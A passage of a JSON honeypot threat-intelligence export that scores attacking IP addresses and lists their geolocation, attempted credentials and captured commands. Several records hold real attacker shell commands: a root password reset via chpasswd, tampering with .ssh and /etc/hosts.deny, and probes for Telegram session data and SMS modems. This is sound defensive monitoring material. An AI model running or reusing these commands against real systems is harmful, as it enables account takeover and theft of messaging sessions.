      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:23:22.878000+00:00",
        "last_seen_30d": "2026-05-29T23:08:33.716000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "34.62.214.90": {
      "attack_count": 73,
      "first_seen": "2026-05-29T08:37:58.082Z",
      "last_seen": "2026-05-29T08:38:47.083Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4934",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T08:37:58.082000+00:00",
        "last_seen_30d": "2026-05-29T08:39:56.670000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "34.38.210.52": {
      "attack_count": 72,
      "first_seen": "2026-05-13T02:59:09.923Z",
      "last_seen": "2026-05-13T02:59:40.601Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7669",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T02:59:09.923000+00:00",
        "last_seen_30d": "2026-05-13T03:00:50.417000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "194.233.86.176": {
      "attack_count": 64,
      "first_seen": "2026-05-02T00:11:30.110Z",
      "last_seen": "2026-05-02T09:58:41.635Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:11:30.110000+00:00",
        "last_seen_30d": "2026-05-02T09:59:46.458000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 59
      }
    },
    "45.227.254.170": {
      "attack_count": 64,
      "first_seen": "2026-05-04T01:02:10.807Z",
      "last_seen": "2026-05-31T04:04:43.057Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": null,
      "asn": 267784,
      "as_org": "Flyservers S.A.",
      "threat_score": 55.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:02:10.807000+00:00",
        "last_seen_30d": "2026-05-31T04:05:44.168000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "103.183.62.3": {
      "attack_count": 63,
      "first_seen": "2026-05-17T20:41:26.980Z",
      "last_seen": "2026-05-17T20:41:42.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "edu01"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qTLgI5gXaE7e\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 149636,
      "as_org": "Hasan Broadband Net",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:41:26.980000+00:00",
        "last_seen_30d": "2026-05-17T20:42:51.874000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 63,
        "Suricata": 3
      }
    },
    "94.26.106.201": {
      "attack_count": 63,
      "first_seen": "2026-05-05T00:32:29.538Z",
      "last_seen": "2026-05-19T12:15:45.449Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support",
        "user",
        "admin",
        "david",
        "test"
      ],
      "passwords_attempted": [
        "support",
        "user",
        "123456",
        "aa123456",
        "admin",
        "test",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 79.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.2,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 27,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T00:32:29.538000+00:00",
        "last_seen_30d": "2026-05-31T15:23:55.186000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Cowrie": 63,
        "Honeytrap": 26
      }
    },
    "206.0.184.159": {
      "attack_count": 58,
      "first_seen": "2026-05-20T15:00:55.963Z",
      "last_seen": "2026-05-20T18:02:08.467Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T15:00:55.963000+00:00",
        "last_seen_30d": "2026-05-20T18:03:12.175000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 29
      }
    },
    "154.208.45.123": {
      "attack_count": 50,
      "first_seen": "2026-05-12T03:44:51.955Z",
      "last_seen": "2026-05-12T03:50:16.481Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 150750,
      "as_org": "IN CABLE INTERNET PRIVATE LIMITED",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:44:51.955000+00:00",
        "last_seen_30d": "2026-05-12T03:51:20.919000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "69.175.33.170": {
      "attack_count": 48,
      "first_seen": "2026-05-12T13:06:07.434Z",
      "last_seen": "2026-05-29T09:09:28.022Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:06:07.434000+00:00",
        "last_seen_30d": "2026-05-29T09:10:30.076000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "47.181.223.233": {
      "attack_count": 42,
      "first_seen": "2026-05-08T20:28:29.900Z",
      "last_seen": "2026-05-27T06:13:10.281Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Camarillo",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 39.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T20:28:29.900000+00:00",
        "last_seen_30d": "2026-05-27T06:14:13.515000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "139.135.46.126": {
      "attack_count": 38,
      "first_seen": "2026-05-17T04:16:37.475Z",
      "last_seen": "2026-05-17T04:20:43.961Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:16:37.475000+00:00",
        "last_seen_30d": "2026-05-17T04:21:52.831000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "130.110.250.40": {
      "attack_count": 35,
      "first_seen": "2026-05-16T20:08:51.447Z",
      "last_seen": "2026-05-16T20:09:33.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Marseille",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:08:51.447000+00:00",
        "last_seen_30d": "2026-05-16T20:10:38.071000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "151.236.216.61": {
      "attack_count": 18,
      "first_seen": "2026-05-05T00:50:19.521Z",
      "last_seen": "2026-05-08T05:11:44.498Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:50:19.521000+00:00",
        "last_seen_30d": "2026-05-08T05:12:52.200000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "181.9.213.127": {
      "attack_count": 18,
      "first_seen": "2026-05-21T20:23:55.690Z",
      "last_seen": "2026-05-21T20:41:39.999Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T20:23:55.690000+00:00",
        "last_seen_30d": "2026-05-21T20:52:23.626000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "193.34.172.66": {
      "attack_count": 18,
      "first_seen": "2026-05-25T08:43:10.836Z",
      "last_seen": "2026-05-30T19:13:56.432Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Uzhhorod",
      "asn": 41820,
      "as_org": "New Information Systems PP",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T08:43:10.836000+00:00",
        "last_seen_30d": "2026-05-30T19:24:04.953000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 11
      }
    },
    "142.132.254.105": {
      "attack_count": 12,
      "first_seen": "2026-05-03T15:31:14.820Z",
      "last_seen": "2026-05-05T01:02:32.024Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:31:14.820000+00:00",
        "last_seen_30d": "2026-05-05T01:03:37.070000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "184.105.247.254": {
      "attack_count": 11,
      "first_seen": "2026-05-08T01:33:59.377Z",
      "last_seen": "2026-05-31T01:34:13.626Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T16:07:18+00:00",
        "last_seen_30d": "2026-05-31T09:07:15.991000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 238,
        "Honeytrap": 98,
        "Miniprint": 16,
        "Cowrie": 11,
        "H0neytr4p": 10,
        "CitrixHoneypot": 2,
        "Dionaea": 2
      }
    },
    "118.163.132.211": {
      "attack_count": 10,
      "first_seen": "2026-05-29T21:58:28.880Z",
      "last_seen": "2026-05-29T22:28:19.414Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kingsoft@123",
        "asdqwe123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:58:28.880000+00:00",
        "last_seen_30d": "2026-05-29T22:29:25.672000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "112.123.107.179": {
      "attack_count": 7,
      "first_seen": "2026-05-31T09:43:47.013Z",
      "last_seen": "2026-05-31T09:43:49.524Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "nE7jA%5m"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:43:47.013000+00:00",
        "last_seen_30d": "2026-05-31T09:44:58.205000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 3
      }
    },
    "91.231.89.233": {
      "attack_count": 7,
      "first_seen": "2026-05-08T23:55:41.062Z",
      "last_seen": "2026-05-15T23:58:12.027Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 27,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T04:04:27+00:00",
        "last_seen_30d": "2026-05-29T07:24:14.026000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 30,
        "Cowrie": 7,
        "Mailoney": 1
      }
    },
    "121.142.106.162": {
      "attack_count": 6,
      "first_seen": "2026-05-02T19:27:54.006Z",
      "last_seen": "2026-05-02T19:28:16.250Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:27:54.006000+00:00",
        "last_seen_30d": "2026-05-02T19:29:26.269000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "176.29.112.218": {
      "attack_count": 6,
      "first_seen": "2026-05-26T21:42:30.943Z",
      "last_seen": "2026-05-26T21:46:43.083Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": "Amman",
      "asn": 48832,
      "as_org": "Jordanian mobile phone services Ltd",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T21:42:30.943000+00:00",
        "last_seen_30d": "2026-05-26T21:50:35.574000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "183.212.235.149": {
      "attack_count": 6,
      "first_seen": "2026-05-06T00:38:05.566Z",
      "last_seen": "2026-05-06T00:39:36.183Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:38:05.566000+00:00",
        "last_seen_30d": "2026-05-06T00:40:38.713000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "201.238.0.142": {
      "attack_count": 6,
      "first_seen": "2026-05-23T12:06:08.731Z",
      "last_seen": "2026-05-23T13:33:40.941Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
